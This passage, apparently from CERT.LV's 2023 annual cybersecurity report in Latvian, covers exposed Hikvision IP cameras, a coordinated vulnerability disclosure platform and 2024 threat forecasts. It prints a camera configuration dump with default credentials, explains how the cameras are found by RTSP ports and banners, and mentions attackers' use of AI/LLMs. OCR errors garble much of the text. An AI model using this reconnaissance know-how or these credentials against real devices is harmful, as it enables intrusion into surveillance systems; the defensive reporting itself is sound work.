e CVE-2017-7921 un CVE-2021-36260 ievainojamibas.

22. attéls. IP videonovéroSanas kameru pétijums

['IP CAMERA', 'CST', 'CST-8:@@:@0', 'IP ', '1@8', 'b2', 'V2', '7G', ‘'davinci', 'Hik-651214179', '651214179', 'HIKVISION DS-2CD2642FWD-IS -
651214179', 'time.windows.com', 'members.dyndns.org', 'dynupdate.no-ip.com', 'www.hik-online.com', 'public', 'private’', 'public', 'admin
', '12345', '2222d', '2d', '222', '2d', '222', 'd ', 'mainStream', 'Profile_1', 'VideoSourceToken', 'AudioSourceConfigToken', 'VideoEncod
erToken_1', 'MainAudioEncoderToken', 'VideoAnalyticsToken', 'PTZToken', 'AudioOutputConfigToken', 'AudioDecoderConfigToken®', 'subStream’,
'Profile_2', *VideoSourceToken', 'AudioSourceConfigToken®, 'VideoEncoderToken_2', 'MainAudioEncoderToken', "VideoAnalyticsToken', 'PTZTo
ken', 'AudioOutputConfigToken', 'AudioDecoderConfigToken', '12345678', 'onvif://www.onvif.org/name/HIKVISION%20DS-2CD2642FWD-IS", ‘onvif:
//www.onvif.org/location/city/hangzhou®, '22', '222', '34626000002000000001', '3402000600', '34020000001320000001', '34020000001320000001
', '12345678', '34826000001320800001°, '222d', '222', '22', '222d', '222', '22', 'dev.eu.hik-connect.com', 'WUOUVL', '0©@08080600060808",
'Caaminn, 'Baeis’, IEDSNREENES', '0:0:0:0:0:0:0:0:0:0:0:0:', 'HFf%', 'k%', 'e:0:', 'BffrB', 'm timesegment_co']
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23. attéls. IP videonovéroSanas kameru pétijums
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24. attéls. IP videonovérosanas kameru fotoattéls
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25. attéls. IP videonovérosanas kameru fotoattéls

Camera1

VideonovéroSsanas kameru identificéeSanas metodologija  balstijas uz IP
videonovérosanas kameram raksturigu RTSP (Real Time Straming Protocol) portu 554,
5554 un 8554 identificéSanu, ka arT no servisu baneriem un kameru zimolu favicon
iegltas informacijas.

Gan IP videonovéroSanas kameru identificéSanai, gan ievainojamibu testésanai tika
izmantoti brivi pieejami, publiski riki. Interesentiem 3ada veida masu uzbrukumu
veikSana ir izpildama salidzino$i viegli. Lai mazinatu loT iekartu raditos draudus,
nepiecieSams kontrolét loT iekartu piek|uvi internetam, ka ar1 So ieri¢u droStbu kopuma.

leteikumi drosibai

Veikt IP videonovérosSanas kameru nokluséto parolu mainu.
Regulari veikt IP videonovéroSanas kameru programmatdras atjauninajumus.

Neeksponét videonovéroSanas kameras publiska tikla.
lerobeZot neautorizétu pieeju IP videonovérosanas kameru RTSP plismai.

vk whNRE

Neeksponét interneta videonovérosanas novérosanas kameru administréSanas
panelus vai nepiecieSamibas gadijuma ierobezot piek|Juvi kameram no VPN
un/vai konkrétam IP adresém.

6. Pariestatit (reset) ierices, kuras sen nav lietotas, savukart, ja iekarta vairs netiek
aktivi lietota, atslégt to no interneta.
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Parskata perioda CERT.LV turpindja darbu pie
ievainojamibu zinoSanas platformas cvd.cert.lv
(platforma) attistibas un popularizésanas, veicot
informativaja  zinojuma  “Par  koordinétas
ievainojamibu atklasanas procesa ievieSanu valsts
parvaldé” noteikto uzdevumu izpildi.

Platformas darbiba tika uzsakta 2023.gada
marta. Taja ir publicéta informacija par iestadém
un uznémumiem, kuri brivpratigi iesaistijusies
koordinétas ievainojamibu atklasanas procesa.

Platforma iestade (vai uznémums) var registrét
informaciju par tas izmantotajiem IKT resursiem,
par kuriem ta vélas sanemt zinojumus par
identificeétajam ievainojamibam. Platforma
nodroSina iespéju apskatit visus sanemtos
zinojumus un uzturét sazinu ar pétniekiem un
citam ievainojamibas novérSana iesaistitajam
pusém.

Sis platformas mérkis ir veicinat dro$ibas
pétnieku aktivaku iesaisti, tada veida palidzot
iestadem savlaicigi identificét ievainojamibas
to resursos.

cvd.cert.lv platforma
nodrosSina iespéju
organizacijam izvietot
informaciju par saviem
publiski pieejamiem IT
resursiem, kuros drosibas
pétnieki drikst meklét
ievainojamibas, un caur
platformu zinot par to
atrasanu, sava starpa
sazinaties un sekot
ievainojamibu novérsanas
gaitai.

2023. gada laika tika zinotas un novérstas vairakas nepilnibas, ka pieméram:

e Attalinata koda izpilde (RCE), kas lauj uzbrucéjam izpildit kodu uz servera;

e SQL injekcijas, kuras iespéjams piek|ut DB;

e KJGda parolu atiestatiSanas funkcionalitaté lietotné, kas var radit iespéju

parnemt lietotaju kontus;

e DNS konfiguracijas ievainojamibas, kas lauj parnemt iestades doménus;

e XSS (Cross-Site-Scripting);

e Klhdainas konfiguracijas, kuru dél publiski pieejamas rezerves kopijas, Zurnalfaili

un citas datnes.

Uz 2023. gada beigam (31.12.2023.) beigam platforma cvd.cert.lv bija registréti:

e 37 drosibas pétnieki;
e 4 aktivas programmas;

e 28 iestazu/uznémumu atbildigie parstaviji.
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Uz parskata perioda beigam kopskaita sanemts 21 ievainojamibu zinojums, tostarp:

e CERT.LV klientiras ievainojamibas — 13;

e Uz konkrétam programmam registrétas ievainojamibas — 8.

26. attels. levainojamibu ietekmes kritiskums

Mav ietekmes

ey

Zema

Vidéja

s

Augsta

a

Kritiska

o

leteikumi drosibai

1. Servisu eksponésana: Parskatit un apzinat servisus, kas tiek nodroSinati.
Neeksponét servisus publiski, ja tas nav nepiecieSams. Ja tas tomér ir
nepiecieSams, veikt ierobeZojoSus pasakumus - piekJuve no konkréta IP
apgabala, VPN u.c.

2. Regulara IS atjauninasana: Regulari un savlaicigi atjauninat programmataru/
operétajsistémas un citas tresSo pusu komponentes, lai novérstu ievainojamibas
savlaicigi.

3. Tiesibu/autorizaciju politika: l1zveidot stingras ierobeZojosas politikas piekluvju
administréSanas caurskatamibai. Tiesibas pieskirt péc principa least privilege,
nodrosinot lietotaju piek|uvi sisttmam un resursiem atbilstosi veicamajam
darbam. Veikt regularu auditu.

4. lebrukumu detekcija/novérsana: Savlaiciga iebrukumu apzinasana nereti palidz
novérst uzbrukumu no talakas eskalacijas. NodroSinaties ar agrinas bridinasanas
sistému un/vai novérsanas sistémam, lai identificétu un blokétu nevélamas
aktivitates.

5. Drosibas auditi: Regulari veikt vietnes auditus, kas ieklauj aktivus un/vai pasivus
drosibas skenéSanas pasakumus un aplikacijas koda auditu. Ja tas nav
iespéjams, piesaistit arpakalpojumus. Koordinétai ievainojamibu atklasanai
ieteicams izmantot platformu cvd.cert.lv.

6. Darbinieku apmacibas: Nodrosinat regularas darbinieku apmacibas drosibas
jautajumos, lai mazinatu socialas inZenierijas riskus, kas bieZi vien ir uzbrukumu
sakotnéja faze.

v"CERT. LV
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Kas sagaidams 2024. gada

Tuvakaja nakotné nav sagaidama kritisko ievainojamibu ietekmes mazinasanas. Uzbrucéji
centisies ieglt apsteidzosu informaciju par jaunatklatam ievainojamibam, lai to izmantotu
uzbrukumu veik$anai. Kiberaizsardziba lielu lomu spélés ne tikai reakcijas atrums iekartu un
sistému atjauninasana, bet ari labas prakses ievérosana iekartu uzstadisana un konfiguracija.

lestadem un uznémumiem bis rapigi jaseko
[idzi, lai kiberdroSibas laba prakse tiktu ieveérota ne tikai pasu IT infrastruktlra, bet ari no
piegadataju puses, jo piegazu kézu uzbrukumi saglabas aktualitati.

Par uzbrucéju mérki varétu k|Gt arT atvérta koda bibliotékas un dazadi programmatiras
izstradataji vai pakalpojumu sniedz&ji. K& produkts no kiberuzbrucéju puses varétu tikt
piedavata pilna piekluve pie So izstradataju vai pakalpojumu sniedzéju produktiem, tadejadi
nodrosinot piegazu kéZzu uzbrukumus ka pakalpojumu.

Lielu tiklu un infrastruktdras aizsardzibu
veicinas masinmacisanas un Al/LLM (Large Language Model) risinajumi, kas palidzés
potencialo risku identificéSana un atvairiSsana vai mazinasana, izmantojot realad laika
anomaliju identifikaciju un automatizétus incidentu apstrades mehanismus.

AI/LLM rikus centisies izmantot art uzbrucéji, lai, veicot uzbrukumus, reallaika analizétu un
reagétu uz upura izmantotajam kiberaizsardzibas metodem. Al/LLM tiks piedavats ari ka
pakalpojums, sniedzot uzbrucéjiem plasas iespéjas atrak un vienkar$ak sagatavot
krapnieciskus uzbrukumus personas datu un maksajumu informacijas izgiSanai, jo 1pasi tas
varétu atvieglot mérkétu kiberuzbrukumu (spearphishing) sagatavosanu, kas ir darbietilpigs
process. Al/LLM sniegs iespéju automatizét ari krapnieciskus telefona zvanus, samazinot
uzbrukumu veiksanai nepiecieSamo cilvéku resursu. Tas nozimé, ka Sadu krapniecisku
uzbrukumu skaits un intensitate palielinasies un lietotajiem savu datu aizsardzibai bus
japieliek vél lielakas pdles.

Gada laika paredzama strauja AI/LLM tehnologiju attistiba potenciali varétu sniegt
novatoriskus tehnologiskus risinajumus aizsardzibas spéjam un efektivakiem instrumentiem,
lai cinttos pret kiberapdraudéjumiem. Raugoties nakotng, kiberapdraudéjumu atklasanas
instrumenti bis nakamais logiskais solis, kur lielakajai dalai uznémumu investét. Galu gala
agrina atklasana un efektivas reagésanas iespéjas bis svarigakais, lai mazinatu
kiberuzbrukumu ietekmi.

No
2024. gada rudens saksies Eiropas Parlamenta un Padomes direktivas piemérosana, ar ko
paredz pasakumus nolika panakt vienadi augsta limena kiberdrosibu visa Savieniba (NIS2
direktiva), kas palielinds nozaru skaitu, kam jaievéro jaunie noteikumi. Direktiva paredz
atbilstosu droSibas pasakumu ievieSanu uznémumos un iestadés, darbinieku apmacibu,
regularas drosSibas parbaudes un auditus, pastavigu sistéemu uzraudzibu un novérosanu, ka
arl atbilstoSas dokumentacijas izstradi un zinojumu sagatavosanu, to iesniegSanu
uzraudzibas iestadei. Tas prasis gan papildu finansu resursus, gan cilvékresursus.

Paredzams, ka lidz Sim novérota pret Latvijas resursiem vérsta Krievijas
agresivo reZzimu atbalstoSo haktivistu aktivitate turpinasies, haktivistiem balstoties uz
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retoriku, ka uzbrukumi tiks veikti, kamér vien turpinasies Latvijas nelokamais atbalsts
Ukrainai un tas eiroatlantiskajai integracijai. Paredzams, ka uzbrukumos lielaks uzsvars tiks
likts uz informacijas operacijam, kurds kiberuzbrukumu elementi tiks kombinéti ar
dezinformacijas kampanam, centienos panakt redzamibu un ietekmét sabiedribas viedokli.

CERT.LV turpina Tistenot pasakumus kibertelpas aizsardzibai, nepartraukti uzraugot
situaciju kibertelpa un atbilstibu jaunakajam kiberdroSibas praksém, ka ari sniedz
efektivus aktivas kiberaizsardzibas pakalpojumus, lai Latvija biitu gatava pretstavét
miisdienu kiberdrosibas izaicinajumiem.

© CERT.LV, 2023
Parpublicejot obligata avota norade

CERT.LV, Informacijas tehnologiju drosibas incidentu novérsanas institiicija
Latvija, ir Latvijas Universitates Matematikas un informatikas institata
struktidrvieniba, kas darbojas Latvijas Republikas Aizsardzibas ministrijas
paklautiba IT droSibas likuma ietvaros. CERT.LV misija ir veicinat
informacijas tehnologiju drosibu Latvija.

www.cert.lv
cert@cert.lv
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